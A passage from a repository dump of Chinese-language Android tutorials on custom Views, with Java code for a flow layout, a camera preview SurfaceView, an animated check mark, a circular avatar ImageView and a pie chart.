MeasureSpec.EXACTLY ? sizeHeight : height + getPaddingTop()+ getPaddingBottom()\n        );\n\n    }\n```\n> onLayout方法\n\n```\n //存储所有的View\n    private List<List<View>> mAllViews = new ArrayList<List<View>>();\n    //存储每一行的高度\n    private List<Integer> mLineHeight = new ArrayList<Integer>();\n\n    @Override\n    protected void onLayout(boolean changed, int l, int t, int r, int b)\n    {\n        mAllViews.clear();\n        mLineHeight.clear();\n\n        // 当前ViewGroup的宽度\n        int width = getWidth();\n\n        int lineWidth = 0;\n        int lineHeight = 0;\n        // 存储每一行所有的childView\n        List<View> lineViews = new ArrayList<View>();\n\n        int cCount = getChildCount();\n\n        for (int i = 0; i < cCount; i++)\n        {\n            View child = getChildAt(i);\n            MarginLayoutParams lp = (MarginLayoutParams) child.getLayoutParams();\n\n            int childWidth = child.getMeasuredWidth();\n            int childHeight = child.getMeasuredHeight();\n\n            lineWidth += childWidth + lp.leftMargin + lp.rightMargin;\n            lineHeight = Math.max(lineHeight, childHeight + lp.topMargin+ lp.bottomMargin);\n            lineViews.add(child);\n\n            // 换行，在onMeasure中childWidth是加上Margin值的\n            if (childWidth + lineWidth + lp.leftMargin + lp.rightMargin > width - getPaddingLeft() - getPaddingRight())\n            {\n                // 记录行高\n                mLineHeight.add(lineHeight);\n                // 记录当前行的Views\n                mAllViews.add(lineViews);\n\n                // 新行的行宽和行高\n                lineWidth = 0;\n                lineHeight = childHeight + lp.topMargin + lp.bottomMargin;\n                // 新行的View集合\n                lineViews = new ArrayList<View>();\n            }\n\n        }\n        // 处理最后一行\n        mLineHeight.add(lineHeight);\n        mAllViews.add(lineViews);\n\n        // 设置子View的位置\n\n        int left = getPaddingLeft();\n        int top = getPaddingTop();\n\n        // 行数\n        int lineNum = mAllViews.size();\n\n        for (int i = 0; i < lineNum; i++)\n        {\n            // 当前行的所有的View\n            lineViews = mAllViews.get(i);\n            lineHeight = mLineHeight.get(i);\n\n            for (int j = 0; j < lineViews.size(); j++)\n            {\n                View child = lineViews.get(j);\n                // 判断child的状态\n                if (child.getVisibility() == View.GONE)\n                {\n                    continue;\n                }\n\n                MarginLayoutParams lp = (MarginLayoutParams) child.getLayoutParams();\n\n                int lc = left + lp.leftMargin;\n                int tc = top + lp.topMargin;\n                int rc = lc + child.getMeasuredWidth();\n                int bc = tc + child.getMeasuredHeight();\n\n                // 为子View进行布局\n                child.layout(lc, tc, rc, bc);\n\n                left += child.getMeasuredWidth() + lp.leftMargin+ lp.rightMargin;\n            }\n            left = getPaddingLeft() ;\n            top += lineHeight ;\n        }\n\n    }\n\n    /**\n     * 因为我们只需要支持margin，所以直接使用系统的MarginLayoutParams\n     */\n    @Override\n    public LayoutParams generateLayoutParams(AttributeSet attrs)\n    {\n        return new MarginLayoutParams(getContext(), attrs);\n    }\n```\n\n> 以及MainActivity.java\n\n```\npublic class MainActivity extends Activity {\n\n    LayoutInflater mInflater;\n    @InjectView(R.id.id_flowlayout1)\n    FlowLayout idFlowlayout1;\n    @InjectView(R.id.id_flowlayout2)\n    FlowLayout idFlowlayout2;\n    private String[] mVals = new String[]\n            {\"Do\", \"one thing\", \"at a time\", \"and do well.\", \"Never\", \"forget\",\n                    \"to say\", \"thanks.\", \"Keep on\", \"going \", \"never give up.\"};\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        ButterKnife.inject(this);\n        mInflater = LayoutInflater.from(this);\n        initFlowlayout2();\n    }\n\n    public void initFlowlayout2() {\n        for (int i = 0; i < mVals.length; i++) {\n            final RelativeLayout rl2 = (RelativeLayout) mInflater.inflate(R.layout.flow_layout, idFlowlayout2, false);\n            TextView tv2 = (TextView) rl2.findViewById(R.id.tv);\n            tv2.setText(mVals[i]);\n            rl2.setTag(i);\n            idFlowlayout2.addView(rl2);\n            rl2.setOnClickListener(new View.OnClickListener() {\n                @Override\n                public void onClick(View v) {\n                    int i = (int) v.getTag();\n                    addViewToFlowlayout1(i);\n                    rl2.setBackgroundResource(R.drawable.flow_layout_disable_bg);\n                    rl2.setClickable(false);\n                }\n            });\n\n        }\n    }\n    public void addViewToFlowlayout1(int i){\n        RelativeLayout rl1 = (RelativeLayout) mInflater.inflate(R.layout.flow_layout, idFlowlayout1, false);\n        ImageView iv = (ImageView) rl1.findViewById(R.id.iv);\n        iv.setVisibility(View.VISIBLE);\n        TextView tv1 = (TextView) rl1.findViewById(R.id.tv);\n        tv1.setText(mVals[i]);\n        rl1.setTag(i);\n        idFlowlayout1.addView(rl1);\n        rl1.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                int i = (int) v.getTag();\n                idFlowlayout1.removeView(v);\n                View view = idFlowlayout2.getChildAt(i);\n                view.setClickable(true);\n                view.setBackgroundResource(R.drawable.flow_layout_bg);\n            }\n        });\n    }\n```\n\n> 这个项目源码已经上传，想要看源码的朋友可以 \n \n >点击 [FlowLayout](https://github.com/fanrunqi/FlowLayout) \n >\n> 如果有什么疑问可以给我留言，不足之处欢迎在github上指出，谢谢！\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/自定义View——CameraView.md",
    "content": "# 自定义view——CameraView\n\n> 作者：https://github.com/linsir6\n>\n> 文章：http://www.jianshu.com/p/bd91a2b1245d\n\n\n\n![效果图](/img/linsir.jpg)\n\n\n\n\n\n今天我们我们同样是要做一个自定义view，不过和其他自定义view稍有不同的是，其他的自定view可能继承自的是view，或者viewGroup，今天写的自定义view继承自的是SurfaceView，它具有的功能是，可以直接在view上看到我们自己，并且可以获取到这个流，可以把流编码存储，也可以上传至服务器，当然我这里面只演示了将流中的一帧取出来，然后转乘Bitmap然后加载在了图片上。\n\n\n\n\n\n既然我们想在view中看到自己，那么不可避免的是我们需要调用系统的相机：\n\n\n\n\n\n当然这里我比较懒，就把平时常用到的权限全都添加上了，其实如果仅仅想添加相机的权限的话，只需要前几行就可以。\n\n```java\n<uses-feature android:name=\"android.hardware.camera\"/>\n    <uses-feature android:name=\"android.hardware.camera.autofocus\"/>\n    <uses-feature\n        android:glEsVersion=\"0x00020000\"\n        android:required=\"true\"/>\n\n\n    <uses-permission android:name=\"android.permission.CAMERA\"/>\n    <uses-permission android:name=\"android.permission.MODIFY_AUDIO_SETTINGS\"/>\n    <uses-permission android:name=\"android.permission.CHANGE_NETWORK_STATE\"/>\n    <uses-permission android:name=\"android.permission.RECORD_AUDIO\"/>\n    <uses-permission android:name=\"android.permission.INTERNET\"/>\n    <uses-permission android:name=\"android.permission.WAKE_LOCK\"/>\n    <uses-permission android:name=\"android.permission.WRITE_EXTERNAL_STORAGE\"/>\n    <uses-permission android:name=\"android.permission.ACCESS_NETWORK_STATE\"/>\n    <uses-permission android:name=\"android.permission.READ_PHONE_STATE\"/>\n    <uses-permission android:name=\"android.permission.READ_EXTERNAL_STORAGE\"/>\n```\n\n\n\n相机相关的操作：\n\n```java\nprivate Camera mCamera;\nprivate int mCamId = Camera.CameraInfo.CAMERA_FACING_FRONT;\n\nmCamera = Camera.open(mCamId);\nCamera.Parameters params = mCamera.getParameters();\nCamera.Size size = mCamera.new Size(previewWidth, previewHeight);\n//错略的计算相机一帧的大小\nmYuvPreviewFrame = new byte[previewWidth * previewHeight * 3 / 2];\n\nparams.setPreviewSize(previewWidth, previewHeight);\n//设置编码格式\nparams.setPreviewFormat(ImageFormat.NV21);\n// 获取可以对焦的列表\nList<String> supportedFocusModes = params.getSupportedFocusModes();\n//判断是否有我们想要的，有的话就设置成这个\nif (!supportedFocusModes.isEmpty()) {\n\tif (supportedFocusModes.contains(Camera.Parameters.FOCUS_MODE_CONTINUOUS_PICTURE)) {\n    \tparams.setFocusMode(Camera.Parameters.FOCUS_MODE_CONTINUOUS_PICTURE);\n    }\n}\n\nmCamera.setParameters(params);\n\nmCamera.setDisplayOrientation(mPreviewRotation);\n//回调这个流\nmCamera.addCallbackBuffer(mYuvPreviewFrame);\nmCamera.setPreviewCallbackWithBuffer(this);\ntry {\n\tmCamera.setPreviewDisplay(getHolder());\n} catch (IOException e) {\n\te.printStackTrace();\n}\nmCamera.startPreview();\n\n\n\n\n```\n\n\n\nsurfaceView相关操作：\n\n\n\n```java\n@Override\n    public void onPreviewFrame(byte[] data, Camera camera) {\n        mPrevCb.onGetYuvFrame(data);\n        camera.addCallbackBuffer(mYuvPreviewFrame);\n    }\n\n    @Override\n    public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {\n    }\n\n    @Override\n    public void surfaceCreated(SurfaceHolder arg0) {\n        if (mCamera != null) {\n            try {\n                mCamera.setPreviewDisplay(getHolder());\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n    @Override\n    public void surfaceDestroyed(SurfaceHolder arg0) {\n    }\n```\n\n\n\n到这里为止，我们就可以在view上看到动态的摄像头捕捉的视频了，也可以回调到这个流了，下面就是对流的截取的操作。\n\n\n\n\n\n将流转换成图片的操作：\n\n```java\n//设置编码格式\nfinal YuvImage image = new YuvImage(temp, ImageFormat.NV21, 240, 320, null);\nByteArrayOutputStream os = new ByteArrayOutputStream(temp.length);\nif(!image.compressToJpeg(new Rect(0, 0, 240, 320), 100, os)){\n\treturn;\n}\nbyte[] tmp = os.toByteArray();\n//转换成bitmap\nBitmap bmp = BitmapFactory.decodeByteArray(tmp, 0,tmp.length);\n\n//设置旋转\nMatrix matrix = new Matrix();\nmatrix.setRotate(270f);\n\nBitmap newBM = Bitmap.createBitmap(bmp, 0, 0, 240, 320, matrix, false);\n\nimageView.setImageBitmap(newBM);\n\n```\n\n\n\n项目源码地址：https://github.com/linsir6/mCustomView/tree/master/CameraView\n\n欢迎star～"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/自定义View——CheckView.md",
    "content": "# 自定义View —— drawBitmap\n\n> 最近在复习自定义view，学习了GitHub上面有一个非常详细的自定义view的教程，就打算跟着把里面的demo都做一遍，然后记录一下学习到的checkView。[教程地址](http://www.gcssloop.com/customview/CustomViewIndex)\n\n\n![效果图](https://ws2.sinaimg.cn/large/006tNbRwly1ffxxfb2a80g308i0f80vk.gif)\n\n\n``drawBitmap``是指将一张图片一张图片画在画布上面。这里面调用的：\n\n```\npublic void drawBitmap(Bitmap bitmap, Rect src, Rect dst, Paint paint) {}\n```\n\n参数的含义就很好理解了：\nbitmap：画什么图片\nsrc：要画图片中的哪个部分\ndst：要把图片画到画布中的哪个位置\npaint：画笔\n\n我们这里需要的一个长图：\n\n![](http://upload-images.jianshu.io/upload_images/2585384-e55222c86cd8af0c.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n这个drawBitmap方法是可以重复使用的，可以多次画，然后画出来的效果会叠加在一起，那么我们便可以第一次画一个非常小的对号的一部分，然后一点一点地多，最后就成为一个动态的效果了，我们事分成了13次画的，通过的事handler来控制实现的。\n\n\n核心代码：\n\n\n```java\n\nmHandler = new Handler() {\n\n            @Override public void handleMessage(Message msg) {\n                super.handleMessage(msg);\n                //确定当前没有view\n                if (animCurrentPage < animMaxPage && animCurrentPage >= 0) {\n                    //画一下\n                    invalidate();\n                    if (animState == ANIM_NULL) {\n                        return;\n                    }\n                    //判断当前是要画对号，然后每次动态移动一点\n                    if (animState == ANIM_CHECK) {\n                        animCurrentPage++;\n                    } else if (animState == ANIM_UNCHECK) {\n                        animCurrentPage--;\n                    }\n\n                    // 延时发送消息，然后自己接收，形成了一个循环\n                    this.sendEmptyMessageDelayed(0, animDuration / animMaxPage);\n\n\n                } else {\n                    //不需要画了，恢复到默认值\n                    if (isCheck) {\n                        animCurrentPage = animMaxPage - 1;\n                    } else {\n                        animCurrentPage = -1;\n                    }\n\n                    invalidate();\n                    animState = ANIM_NULL;\n                }\n            }\n        };\n\n```\n\n\n```java\n\n@Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        //将画笔移到view的中央\n        canvas.translate(mWidth / 2, mHeight / 2);\n        //画一个圆\n        canvas.drawCircle(0, 0, 240, mPaint);\n\n        //找到高度\n        int sideLength = okBitmap.getHeight();\n        \n        //控制画出图片上面的哪一个部分\n        Rect src = new Rect(sideLength * animCurrentPage, 0, sideLength * (animCurrentPage + 1), sideLength);\n        \n        //画在画布上面的哪个位置\n        Rect dst = new Rect(-200, -200, 200, 200);\n\n        //画\n        canvas.drawBitmap(okBitmap, src, dst, null);\n    }\n\n```\n\n\n```java\n\npublic void check() {\n        //触发想要绘画的方法\n        if (animState != ANIM_NULL || isCheck) {\n            return;\n        }\n        animState = ANIM_CHECK;\n        animCurrentPage = 0;\n        mHandler.sendEmptyMessageDelayed(0, animDuration / animMaxPage);\n        isCheck = true;\n    }\n```\n\n\n----\n\n到这里一个简单的自定义view就已经实现咯～\n\n\n[源码地址](https://github.com/linsir6/mCustomView/tree/master/CheckView)：https://github.com/linsir6/mCustomView/tree/master/CheckView\n"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/自定义View——CircleView.md",
    "content": "# 安卓中实现圆形头像~\n\n \n大方向上讲,实现圆形图片的展示，在安卓中分 为两种大情况，\n    一种是自定义一个view+bitmapShader,另外一种方式我们可以重写一\n    个drawable。\n\n\n>第一种情况\n\n````\n/**\n * Created by linSir on 16/7/30.自定义的头像的ImageVIew\n */\npublic class CircleImageView extends ImageView {\n\n    private static final ScaleType SCALE_TYPE = ScaleType.CENTER_CROP;\n\n    private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888;\n    private static final int COLORDRAWABLE_DIMENSION = 1;\n\n    private static final int DEFAULT_BORDER_WIDTH = 0;\n    private static final int DEFAULT_BORDER_COLOR = Color.BLACK;\n\n    private final RectF mDrawableRect = new RectF();\n    private final RectF mBorderRect = new RectF();\n\n    private final Matrix mShaderMatrix = new Matrix();\n    private final Paint mBitmapPaint = new Paint();\n    private final Paint mBorderPaint = new Paint();\n\n    private int mBorderColor = DEFAULT_BORDER_COLOR;\n    private int mBorderWidth = DEFAULT_BORDER_WIDTH;\n\n    private Bitmap mBitmap;\n    private BitmapShader mBitmapShader;\n    private int mBitmapWidth;\n    private int mBitmapHeight;\n\n    private float mDrawableRadius;\n    private float mBorderRadius;\n\n    private boolean mReady;\n    private boolean mSetupPending;\n\n    public CircleImageView(Context context) {\n        super(context);\n    }\n\n    public CircleImageView(Context context, AttributeSet attrs) {\n        this(context, attrs, 0);\n    }\n\n    public CircleImageView(Context context, AttributeSet attrs, int defStyle) {\n        super(context, attrs, defStyle);\n        super.setScaleType(SCALE_TYPE);\n\n        TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView, defStyle, 0);\n\n        mBorderWidth = a.getDimensionPixelSize(R.styleable.CircleImageView_border_width, DEFAULT_BORDER_WIDTH);\n        mBorderColor = a.getColor(R.styleable.CircleImageView_border_color, DEFAULT_BORDER_COLOR);\n\n        a.recycle();\n\n        mReady = true;\n\n        if (mSetupPending) {\n            setup();\n            mSetupPending = false;\n        }\n    }\n\n    @Override\n    public ScaleType getScaleType() {\n        return SCALE_TYPE;\n    }\n\n    @Override\n    public void setScaleType(ScaleType scaleType) {\n        if (scaleType != SCALE_TYPE) {\n            throw new IllegalArgumentException(String.format(\"ScaleType %s not supported.\", scaleType));\n        }\n    }\n\n    @Override\n    protected void onDraw(Canvas canvas) {\n        if (getDrawable() == null) {\n            return;\n        }\n\n        canvas.drawCircle(getWidth() / 2, getHeight() / 2, mDrawableRadius, mBitmapPaint);\n        canvas.drawCircle(getWidth() / 2, getHeight() / 2, mBorderRadius, mBorderPaint);\n    }\n\n    @Override\n    protected void onSizeChanged(int w, int h, int oldw, int oldh) {\n        super.onSizeChanged(w, h, oldw, oldh);\n        setup();\n    }\n\n    public int getBorderColor() {\n        return mBorderColor;\n    }\n\n    public void setBorderColor(int borderColor) {\n        if (borderColor == mBorderColor) {\n            return;\n        }\n\n        mBorderColor = borderColor;\n        mBorderPaint.setColor(mBorderColor);\n        invalidate();\n    }\n\n    public int getBorderWidth() {\n        return mBorderWidth;\n    }\n\n    public void setBorderWidth(int borderWidth) {\n        if (borderWidth == mBorderWidth) {\n            return;\n        }\n\n        mBorderWidth = borderWidth;\n        setup();\n    }\n\n    @Override\n    public void setImageBitmap(Bitmap bm) {\n        super.setImageBitmap(bm);\n        mBitmap = bm;\n        setup();\n    }\n\n    @Override\n    public void setImageDrawable(Drawable drawable) {\n        super.setImageDrawable(drawable);\n        mBitmap = getBitmapFromDrawable(drawable);\n        setup();\n    }\n\n    @Override\n    public void setImageResource(int resId) {\n        super.setImageResource(resId);\n        mBitmap = getBitmapFromDrawable(getDrawable());\n        setup();\n    }\n\n    private Bitmap getBitmapFromDrawable(Drawable drawable) {\n        if (drawable == null) {\n            return null;\n        }\n\n        if (drawable instanceof BitmapDrawable) {\n            return ((BitmapDrawable) drawable).getBitmap();\n        }\n\n        try {\n            Bitmap bitmap;\n\n            if (drawable instanceof ColorDrawable) {\n                bitmap = Bitmap.createBitmap(COLORDRAWABLE_DIMENSION, COLORDRAWABLE_DIMENSION, BITMAP_CONFIG);\n            } else {\n                bitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), BITMAP_CONFIG);\n            }\n\n            Canvas canvas = new Canvas(bitmap);\n            drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight());\n            drawable.draw(canvas);\n            return bitmap;\n        } catch (OutOfMemoryError e) {\n            return null;\n        }\n    }\n\n    private void setup() {\n        if (!mReady) {\n            mSetupPending = true;\n            return;\n        }\n\n        if (mBitmap == null) {\n            return;\n        }\n\n        mBitmapShader = new BitmapShader(mBitmap, Shader.TileMode.CLAMP, Shader.TileMode.CLAMP);\n\n        mBitmapPaint.setAntiAlias(true);\n        mBitmapPaint.setShader(mBitmapShader);\n\n        mBorderPaint.setStyle(Paint.Style.STROKE);\n        mBorderPaint.setAntiAlias(true);\n        mBorderPaint.setColor(mBorderColor);\n        mBorderPaint.setStrokeWidth(mBorderWidth);\n\n        mBitmapHeight = mBitmap.getHeight();\n        mBitmapWidth = mBitmap.getWidth();\n\n        mBorderRect.set(0, 0, getWidth(), getHeight());\n        mBorderRadius = Math.min((mBorderRect.height() - mBorderWidth) / 2, (mBorderRect.width() - mBorderWidth) / 2);\n\n        mDrawableRect.set(mBorderWidth, mBorderWidth, mBorderRect.width() - mBorderWidth, mBorderRect.height() - mBorderWidth);\n        mDrawableRadius = Math.min(mDrawableRect.height() / 2, mDrawableRect.width() / 2);\n\n        updateShaderMatrix();\n        invalidate();\n    }\n\n    private void updateShaderMatrix() {\n        float scale;\n        float dx = 0;\n        float dy = 0;\n\n        mShaderMatrix.set(null);\n\n        if (mBitmapWidth * mDrawableRect.height() > mDrawableRect.width() * mBitmapHeight) {\n            scale = mDrawableRect.height() / (float) mBitmapHeight;\n            dx = (mDrawableRect.width() - mBitmapWidth * scale) * 0.5f;\n        } else {\n            scale = mDrawableRect.width() / (float) mBitmapWidth;\n            dy = (mDrawableRect.height() - mBitmapHeight * scale) * 0.5f;\n        }\n\n        mShaderMatrix.setScale(scale, scale);\n        mShaderMatrix.postTranslate((int) (dx + 0.5f) + mBorderWidth, (int) (dy + 0.5f) + mBorderWidth);\n\n        mBitmapShader.setLocalMatrix(mShaderMatrix);\n    }\n\n}\n\n\n````\n\n````\n <declare-styleable name=\"CircleImageView\">\n        <attr name=\"border_width\" format=\"dimension\"/>\n        <attr name=\"border_color\" format=\"color\"/>\n    </declare-styleable>\n````\n\n````\n\n <com.example.lin_sir_one.tripbuyer.customview.CircleImageView\n                android:id=\"@+id/view\"\n                android:layout_width=\"70dp\"\n                android:layout_height=\"70dp\"\n                android:layout_below=\"@+id/hint2_address_details\"\n                android:layout_marginLeft=\"28dp\"\n                android:layout_marginTop=\"18dp\"\n                android:src=\"@mipmap/linsir\"\n                app:border_color=\"#FFF\"\n                app:border_width=\"1dp\"/>\n\n````\n\n只要这样就可以实现圆形头像的功能了，可以看一下下图↓。\n\n![展示原型头像的图片](http://upload-images.jianshu.io/upload_images/2585384-0509eef970f08480.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n>下面我们简单的介绍一下我们代码\n\n- 这里我们首先需要将外界传进来的一个drawable的图片转换成一个bitmap\n- 然后我们画了一个圆形的圆\n- 把他们放在一起，就能实现一个具有外圈圆的头像\n- 当然我们这里面还有很多自定义的属性，就不一一介绍了，大家可以copy下去当做工具类\n\n>本文参考我一直崇拜的偶像，鸿神的文章，他的博客地址 www.zhanghongyang.com \n他对实现圆形头像的简介http://blog.csdn.net/lmj623565791/article/details/41967509\n"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/自定义View——FlowLayout.md",
    "content": "Android中的FlowLayout~\n\n> 相信大家在Java的图形化界面中，经常使用到FlowLayout，flowLayout即流式布局，就是说控件会按排分布，当一行装不下的时候自动换到下一行。在安卓中没有这种布局，所以我们可以自己写一个这种布局~\n\n\n![流式布局截图.png](http://upload-images.jianshu.io/upload_images/2585384-be925d37142fab4d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n这里面便是我们的流式布局了，下面我们可以一起看一下代码：\n\n\n\n\n````\n/**\n * Created by linSir on 16/7/30.流式布局\n */\npublic class FlowLayout extends ViewGroup {\n    private float mVerticalSpacing; //每个item纵向间距\n    private float mHorizontalSpacing; //每个item横向间距\n\n    public FlowLayout(Context context) {\n        super(context);\n    }\n    public FlowLayout(Context context, AttributeSet attrs) {\n        super(context, attrs);\n    }\n    public void setHorizontalSpacing(float pixelSize) {\n        mHorizontalSpacing = pixelSize;\n    }\n    public void setVerticalSpacing(float pixelSize) {\n        mVerticalSpacing = pixelSize;\n    }\n    @Override\n    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n        int selfWidth = resolveSize(0, widthMeasureSpec);\n\n        int paddingLeft = getPaddingLeft();\n        int paddingTop = getPaddingTop();\n        int paddingRight = getPaddingRight();\n        int paddingBottom = getPaddingBottom();\n\n        int childLeft = paddingLeft;\n        int childTop = paddingTop;\n        int lineHeight = 0;\n\n        //通过计算每一个子控件的高度，得到自己的高度\n        for (int i = 0, childCount = getChildCount(); i < childCount; ++i) {\n            View childView = getChildAt(i);\n            LayoutParams childLayoutParams = childView.getLayoutParams();\n            childView.measure(\n                    getChildMeasureSpec(widthMeasureSpec, paddingLeft + paddingRight,\n                            childLayoutParams.width),\n                    getChildMeasureSpec(heightMeasureSpec, paddingTop + paddingBottom,\n                            childLayoutParams.height));\n            int childWidth = childView.getMeasuredWidth();\n            int childHeight = childView.getMeasuredHeight();\n\n            lineHeight = Math.max(childHeight, lineHeight);\n\n            if (childLeft + childWidth + paddingRight > selfWidth) {\n                childLeft = paddingLeft;\n                childTop += mVerticalSpacing + lineHeight;\n                lineHeight = childHeight;\n            } else {\n                childLeft += childWidth + mHorizontalSpacing;\n            }\n        }\n\n        int wantedHeight = childTop + lineHeight + paddingBottom;\n        setMeasuredDimension(selfWidth, resolveSize(wantedHeight, heightMeasureSpec));\n    }\n\n    @Override\n    protected void onLayout(boolean changed, int l, int t, int r, int b) {\n        int myWidth = r - l;\n\n        int paddingLeft = getPaddingLeft();\n        int paddingTop = getPaddingTop();\n        int paddingRight = getPaddingRight();\n\n        int childLeft = paddingLeft;\n        int childTop = paddingTop;\n\n        int lineHeight = 0;\n\n        //根据子控件的宽高，计算子控件应该出现的位置。\n        for (int i = 0, childCount = getChildCount(); i < childCount; ++i) {\n            View childView = getChildAt(i);\n\n            if (childView.getVisibility() == View.GONE) {\n                continue;\n            }\n\n            int childWidth = childView.getMeasuredWidth();\n            int childHeight = childView.getMeasuredHeight();\n\n            lineHeight = Math.max(childHeight, lineHeight);\n\n            if (childLeft + childWidth + paddingRight > myWidth) {\n                childLeft = paddingLeft;\n                childTop += mVerticalSpacing + lineHeight;\n                lineHeight = childHeight;\n            }\n            childView.layout(childLeft, childTop, childLeft + childWidth, childTop + childHeight);\n            childLeft += childWidth + mHorizontalSpacing;\n        }\n    }\n}\n\n````\n到这里，我们便已经创建好了流式布局，接下来我们可以在我们的代码中使用它，下面我展示一下如何使用它。\n\n````\n <com.example.lin_sir_one.tripbuyer.customview.FlowLayout\n                    android:id=\"@+id/customView\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\"\n                    android:layout_marginLeft=\"75dp\"\n                    android:layout_marginRight=\"40dp\"\n                    android:orientation=\"horizontal\"\n                    >\n\n````\n\n````\n/**\n * Created by linSir on 16/7/30.买手行程详情界面\n */\npublic class AddressDetailsActivity extends AppCompatActivity {\n\n    @BindView(R.id.rel_address_details) RelativeLayout rl;\n    @BindView(R.id.customView) FlowLayout mFlowLayout;\n    private String mNames[] = {\n            \"美容护肤\", \"美容护肤\", \"美容护肤\",\n            \"美容护肤\", \"美容护肤\", \"美容护肤\",\n            \"美容护肤\", \"美容护肤\", \"美容护肤\",\n            \"美容护肤\", \"美容护肤\", \"美容护肤\",\n    };\n\n    @Override protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_address_details);\n        ButterKnife.bind(this);\n\n        ViewGroup.MarginLayoutParams lp = new ViewGroup.MarginLayoutParams(\n                LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);\n        lp.setMargins(5, 5, 5, 5);\n\n\n        for (int i = 0; i < mNames.length; i++) {\n            TextView view = new TextView(this);\n            view.setText(mNames[i]);\n            view.setTextSize(12);\n            view.setBackgroundDrawable(getResources().getDrawable(R.drawable.text_bg));\n            mFlowLayout.addView(view, lp);\n            mFlowLayout.setHorizontalSpacing(10);\n            mFlowLayout.setVerticalSpacing(10);\n//            if (i >= 3) {\n//                view.setId(R.id.release_price);\n//                view.setVisibility(View.GONE);\n//            }\n\n        }\n\n    }\n\n//    @OnClick(R.id.down)\n//    public void doew() {\n//        TextView view = (TextView) findViewById(R.id.release_price);\n//        view.setVisibility(View.VISIBLE);\n//    }\n\n}\n\n````\n\n我们在我们的activity中，可以很简单的使用它，使用的截图我在一开始有给出来了，我们只需要简单的设置layout_margin，也可以设置一下，两个textview左右的距离，和上下的距离，这样我们就已经设置好了，就已经完事了。\n\n> onMeasure 我们在这个方法里，需要加以判断，如果控件放在一行中可以放下，我们就放在一起，并且测量控件的长和宽，如果在里面装不下，便会自动换行，而且也会重新记录它的长和宽。\n\n----\n\n> onLayout 在这个方法里面，我们做的事情是，计算子控件出现的位置，它具有5个参数，第一个是通知我们的控件是否发生了改变，还有四个参数描述了我们的控件的位置。我们会根据控件的显隐状态来判断这个控件是否要来加载，还要根据传过来的参数，来绘制这个控件。\n\n----\n好了，以上便是，我们通过自定义来实现的流式布局啦，大家可以把它应用在安卓中了~\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/自定义View——PieView.md",
    "content": "# 自定义view基础入门——实现饼状图\n\n\n\n> 自定义view应该是Android开发的基本功吧，最近无聊打算再重头过一遍自定义view，今天写的是一个比较简单的demo了，是一个自定义的饼状图，我是根据[自定义view教程](http://www.gcssloop.com/customview/CustomViewIndex)学习的。\n\n\n\n![效果图](http://upload-images.jianshu.io/upload_images/2585384-8bbc24b0f7f3b4f8.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n其实这个自定义view还是挺简单的，只需要让用户传入一个list，然后根据list里面的数据，找出不同数据占的权重，然后在绘制扇形的过程中，上不同的色就可以了，当然这只是一个入门级的自定义view。\n\n\n\n核心代码：\n\n```java\npublic class PieData {\n\n    private String name;    //颜色\n    private float value;    //数值\n    private float percentage;   //百分比\n\n    private int color = 0;      //颜色\n    private float angle = 0;    //角度\n\n    public PieData(@NonNull String name, @NonNull float value) {\n        this.name = name;\n        this.value = value;\n    }\n}    \n```\n\n\n\n```java\n/**\n *  Created by linSir \n *  date at 2017/5/22.\n *  describe: 自定义的饼状图      \n */\n\npublic class PieView extends View {\n\n    private int[] mColors = {Color.RED, Color.BLACK, Color.BLUE, Color.GREEN, Color.YELLOW};\n\n    private float mStartAngle = 0;  //初始化绘制的角度\n\n    private ArrayList<PieData> mData;   //数据\n\n    private int mWidth, mHeight;    //宽，高\n\n    private Paint mPaint = new Paint();\n\n\n    public PieView(Context context) {\n        super(context);\n    }\n\n    public PieView(Context context, @Nullable AttributeSet attrs) {\n        super(context, attrs);\n        mPaint.setStyle(Paint.Style.FILL);  //设置画笔的模式为填充\n        mPaint.setAntiAlias(true);  //设置抗锯齿\n    }\n\n\n    @Override protected void onSizeChanged(int w, int h, int oldw, int oldh) {\n        super.onSizeChanged(w, h, oldw, oldh);\n        mWidth = w;\n        mHeight = h;\n    }\n\n    @Override protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        if (null == mData)\n            return;\n        float currentStartAngle = mStartAngle;\n        canvas.translate(mWidth / 2, mHeight / 2);\n        float r = (float) (Math.min(mWidth, mHeight) / 2 * 0.8);\n        RectF rect = new RectF(-r, -r, r, r);\n\n        for (int i = 0; i < mData.size(); i++) {\n            PieData pie = mData.get(i);\n            mPaint.setColor(pie.getColor());\n            canvas.drawArc(rect, currentStartAngle, pie.getAngle(), true, mPaint);\n            currentStartAngle += pie.getAngle();\n        }\n    }\n\n    /**\n     * 设置起始角度\n     */\n    public void setStartAngle(int mStartAngle) {\n        this.mStartAngle = mStartAngle;\n        invalidate();   //刷新\n    }\n\n\n    public void setData(ArrayList<PieData> mData) {\n        this.mData = mData;\n        initData(mData);\n        invalidate();\n    }\n\n    private void initData(ArrayList<PieData> mData) {\n        if (null == mData || mData.size() == 0)\n            return;\n\n        float sumValue = 0;\n        for (int i = 0; i < mData.size(); i++) {\n            PieData pie = 